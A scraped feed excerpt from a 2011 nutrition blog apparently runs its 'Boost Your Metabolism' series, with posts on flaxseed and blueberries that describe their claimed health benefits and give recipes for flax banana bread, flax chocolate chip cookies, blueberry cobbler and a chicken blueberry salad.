]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-sweet-potato/feed/ 0 Boost Your Metabolism Series- Flax https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-flax/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-flax/#respond Fri, 13 May 2011 18:42:54 +0000 http://skinnygeneproject.dreamhosters.com/?p=1226 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 4th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The fourth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is FLAX!

BENEFITS OF FLAX

Flaxseed has increased in popularity over the previous few years, but why? 

What is it about this little nutty grain that makes it a super food? 

 

Photo by Consumatron

 

Flaxseed is a lower carbohydrate grain, packed with protein, fiber, and essential fats.  Researchers have found that adding flaxseed to your diet is linked to lowering your blood cholesterol as much as a medication!  With heart disease topping the list of causes of death, it seems that adding a little ground flaxseed to your meal may be a good idea.

Looking For a Way to Boost Your Metabolism?

Adding flax seed to your diet will help in these 3 metabolic boosting ways:

1.) Fight Fat with Good Fat:  Increase your metabolism by feeding your body some fat; good fat that is, also known as essential fatty acids (EFAs). Flaxseed is one of the best sources of omega- 3 fatty acids. It has also been found that a diet higher in omega-3 fatty acids can aid in the shedding of body fat and preserve lean muscle.

2.) Fight Your Hunger with Fiber: Simply put, fiber is filling and causes you to eat less.  Flaxseed is rich in soluble and insoluble fiber, which also helps to cleanse the colon of toxins and metabolic waste.

3.) Fight Diabetes: Flaxseed has been found to benefit your blood sugar as well.  Intake of flaxseed daily reduces hemoglobin A1c levels, which lowers your risk of type 2 diabetes. After all, balanced blood sugar can create balanced eating. When blood sugar levels are normal, it may prevent hunger pains or constant hunger that can be associated with blood sugar spikes. 

The nutrition benefits of flaxseed go on and on.  Flaxseed has been found to reduce the risk of cancer, lower blood pressure, reduce inflammation associated with asthma, arthritis, and migraines, and reduce hot flashes in menopausal women. 

Flaxseed has a nice nutty flavor that is the perfect addition to warm cereals, sprinkled on yogurts, salads, cold cereal, and other creamy foods.  The whole flaxseed is difficult for our bodies to break down, so be sure to buy the ground or milled flaxseed to reap all of the nutrition benefits on the inside. 

Another way to incorporate flaxseed when baking is to substitute ¼ – ½ cup ground flaxseed for flour or 1 Tablespoon ground flaxseed and 2-3 Tablespoons water for 1 egg.    Flaxseed can also substitute for oil, 1 to 1. 

RECIPES 

  Banana Bread http://www.flaxhealth.com/recipes.htm#bananabread 
“One of my favorite childhood memories is the delicious smell of my mother’s banana bread as it baked. I’ve made a few minor changes to my mom’s original recipe, and I hope your family likes it as much as mine does.”-Jane Reinhardt-Martin, RD, LD.

  • 1-1/4 cups all purpose flour
  • 3/4 cup ground flaxseed
  • 2/3 cup white sugar
  • 2 teaspoons baking power
  • ¼ teaspoon salt
  • 2 eggs
  • ¼ cup skim milk
  • ¼ cup canola oil
  • 1 cup mashed bananas (about 3 medium or 2 large)
  • ½ teaspoon vanilla
  • 1/3 cup chopped walnuts
  1. Preheat oven to 350 F.
  2. In large bowl, mix flour, flax, sugar, baking powder, and salt together.
  3. In food processor or bowl, mash bananas. Then add eggs, milk, oil, and vanilla, and mix in well together.
  4. Mix wet ingredients into dry ingredients just until moistened.
  5. Fold in chopped nuts.
  6. Coat 8 ½ by 4 ½ inch loaf pan with non-stick spray.
  7. Pour batter in loaf pan. Bake for about 50-55 minutes until dark brown, or until a toothpick inserted in the center comes out clean. Let cool in the pan on a rack for at least 10-15 minutes before unmolding to cool completely on the rack.

Preparation time: 15 minutes

Baking Time: 50-55 minutes

Yield: 16 slices

This recipe is taken from The Amazing Flax Cookbook, by Jane Reinhardt-Martin, RD, LD. The Amazing Flax Cookbook

 

  Mrs. Field’s Chocolate Chip/Flax Cookies (Flax adjusted favorite family recipe)      http://www.flaxhealth.com/recipes.htm#chocolatechip2 
This is our family’s favorite Chocolate Chip Cookie Recipe…with even more flax adjustment! The fats are also cut in half in this recipe, as I substituted applesauce for half of the butter.Cream  Together:
2 cups brown sugar
2 cups white sugar (may substitute Splenda)
1 cup butter
1 cup applesauceAdd:
4 eggs (or 2 cups egg beaters)
2 tsp vanilla
1 tsp salt
1 tsp baking powder
1 tsp baking soda
3 cups flour
4 cups oatmeal (blended fast until powder)
2 cups ground flaxMix together:
24 ounces real chocolate chips (not semi-sweet). You may also use Dark chocolate Chips.You may need to add a little more flour at the end if it seems to need more body.Bake: on ungreased baking sheet for 9 minutes at 350 degrees. Take out of oven while still soft…they will firm up while cooling. A good Chewy cookie!

 

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-flax/feed/ 0 Boost Your Metabolism Series- Blueberries https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-blueberries/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-blueberries/#respond Fri, 06 May 2011 22:02:13 +0000 http://skinnygeneproject.dreamhosters.com/?p=1214 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 3rd post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The third one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is BLUEBERRIES!

BENEFITS OF BLUEBERRIES

 

Photo by Karen D

How many blue foods can you name?

  Of course there’s the obvious, blueberries, but there aren’t too many more!  That’s what makes blueberries a super food.  The rich bluish, reddish colored fruit provides antioxidants and phytochemicals that help prevent heart disease, stroke, and cancer – three of the top 10 causes of death in America. 

WE NEED TO EAT MORE BLUEBERRIES!

 

 

 

Here are a few bonuses of eating a diet rich in blueberries:

 1. They are the ULTIMATE BRAIN FOOD

Research has found that blueberries improve memory, not just your short-term memory, but also reduce the risk of Alzheimer’s disease. 

2. They are SNEAKY

The brain normally protects itself and doesn’t let anything in, but the phytonutrients in blueberries are actually able to cross the blood brain barrier to “nourish the brain”. 

3. They HELP WITH PREVENTION

Here is the metabolic kicker.  Blueberries have been found to lower blood glucose levels, meaning daily consumption is consistent with better glucose regulation, which is ideal in the prevention of diabetes. 

Here are some ideas to eat more blueberries to help optimize your health and metabolism:

  • Swap out the usual OJ for blueberry juice in the morning to give your brain a memory boost.
  • Eat blueberries daily, fresh or frozen.
  • Look for creative ways to incorporate blueberries.  Try adding blueberries to yogurts, oatmeal, salads, cottage cheese, smoothies, fruit salads, etc.

Caution with blueberries in syrup (or in pies), this nearly triples the calories!

BLUEBERRY RECIPES 

 
 

Cooking Light- July 2002

Photo by Becky Luigart-Stayner

Blueberry Cobbler

 

While variations abound, a traditional cobbler is a baked, deep-dish fruit dessert that’s topped with a biscuit sprinkled with sugar to give it a bit of crunch and color. This blueberry cobbler is a similar version that uses a light, dumpling-like topping instead of a dense biscuit.

YIELD: 8 servings

Ingredients

  • Filling:
  • 6 cups fresh blueberries
  • 1/3 cup sugar
  • 2 tablespoons cornstarch
  • 1 teaspoon grated lemon rind
  • Topping:
  • 1 1/3 cups all-purpose flour
  • 2 tablespoons sugar
  • 3/4 teaspoon baking powder
  • 1/4 teaspoon salt
  • 1/4 teaspoon baking soda
  • 5 tablespoons chilled butter, cut into small pieces
  • 1 cup fat-free sour cream
  • 3 tablespoons 2% reduced-fat milk
  • 1 teaspoon sugar

Preparation

Preheat oven to 350°.

To prepare filling, combine first 4 ingredients in an 11 x 7-inch baking dish.

To prepare topping, lightly spoon flour into dry measuring cups; level with a knife. Combine flour and next 4 ingredients (flour through baking soda) in a large bowl, stirring with a whisk. Cut in butter with a pastry blender or 2 knives until mixture resembles coarse meal. Stir in sour cream to form a soft dough.

Drop dough by spoonfuls onto blueberry filling to form 8 dumplings. Brush dumplings with milk; sprinkle with 1 teaspoon sugar. Place baking dish on a jelly roll pan. Bake at 350° for 50 minutes or until filling is bubbly and dumplings are lightly browned

Nutritional Information
  • Amount per serving
  • Calories: 288
  • Calories from fat: 26%
  • Fat: 8.3g
  • Saturated fat: 4.9g
  • Monounsaturated fat: 2.2g
  • Polyunsaturated fat: 0.5g
  • Protein: 4.7g
  • Carbohydrate: 50.8g
  • Fiber: 3.5g
  • Cholesterol: 23mg
  • Iron: 1.3mg
  • Sodium: 265mg
  • Calcium: 90mg

All-American Chicken Blueberry Salad Platter

By the Blueberry Council

http://www.blueberrycouncil.com/recipes-popup.php?id=80

YIELD: 4 portions

1/3 cup bottled vinaigrette dressing
1 tablespoon orange marmalade
1 tablespoon reduced fat mayonnaise
2 cups 1/2-inch cubes cooked chicken breast
2 cups blueberries
1/2 cup 1/2-inch cubes red bell pepper
2 small scallions, sliced (about 3 tablespoons)
Salt and ground black pepper
4 large slices whole grain country bread
4 slices (3/4-inch thick) iceberg lettuce (cut crosswise through center of head)
8 to 12 thin crosswise slices tomato

In a large bowl, combine vinaigrette, marmalade, and mayonnaise; set aside 2 tablespoons. Stir chicken, blueberries, red pepper, and scallions into remaining dressing in the bowl. Add salt and pepper to taste. Place one slice toast on each of 4 dinner plates; divide salad onto toast. Arrange lettuce and tomatoes beside sandwich and drizzle with reserved dressing.

Per Portion: Calories 410; Protein 32 g; Carbohydrate 36 g: Fat 16 g; Fiber 6 g;
Calories from Fat 34%

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